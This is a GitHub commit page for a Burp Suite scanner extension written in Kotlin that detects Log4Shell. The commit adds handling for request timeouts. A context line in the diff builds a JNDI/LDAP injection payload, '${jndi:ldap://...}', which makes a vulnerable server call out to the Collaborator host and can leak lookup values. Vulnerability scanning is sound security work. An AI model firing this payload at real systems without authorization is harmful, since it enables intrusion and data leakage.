Skip to content

Commit

Permalink
handle request timeouts
Browse files Browse the repository at this point in the history
  • Loading branch information
dnet committed Dec 12, 2021
1 parent e186048 commit fd6de53
Showing 1 changed file with 16 additions and 1 deletion.
17 changes: 16 additions & 1 deletion src/main/kotlin/burp/BurpExtender.kt
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,9 @@ class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener {
val bytes = "\${jndi:ldap://$prefix\${$key}.$payload.${collaborator.collaboratorServerLocation}/s2test}".toByteArray()
val request = insertionPoint!!.buildRequest(bytes)
val poff = insertionPoint.getPayloadOffsets(bytes)
val hrr = callbacks.makeHttpRequest(baseRequestResponse!!.httpService, request)
val hs = baseRequestResponse!!.httpService
crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout
val hrr = callbacks.makeHttpRequest(hs, request)
val contextPair = Pair(hrr, poff)
context.add(contextPair)
collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload))
Expand All @@ -85,6 +87,19 @@ class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener {
return interactions
}

class EarlyHttpRequestResponse(private val hs: IHttpService, private val sentRequest: ByteArray) : IHttpRequestResponse {
override fun getComment(): String = ""
override fun getHighlight(): String = ""
override fun getHttpService(): IHttpService = hs
override fun getRequest(): ByteArray? = sentRequest
override fun getResponse(): ByteArray? = null
override fun setComment(comment: String?) {}
override fun setHighlight(color: String?) {}
override fun setHttpService(httpService: IHttpService?) {}
override fun setRequest(message: ByteArray?) {}
override fun setResponse(message: ByteArray?) {}
}

private fun handleInteractions(context: List<Pair<IHttpRequestResponse, IntArray>>,
interactions: List<IBurpCollaboratorInteraction>,
sync: Boolean): MutableList<IScanIssue> {
Expand Down

0 comments on commit fd6de53

Please sign in to comment.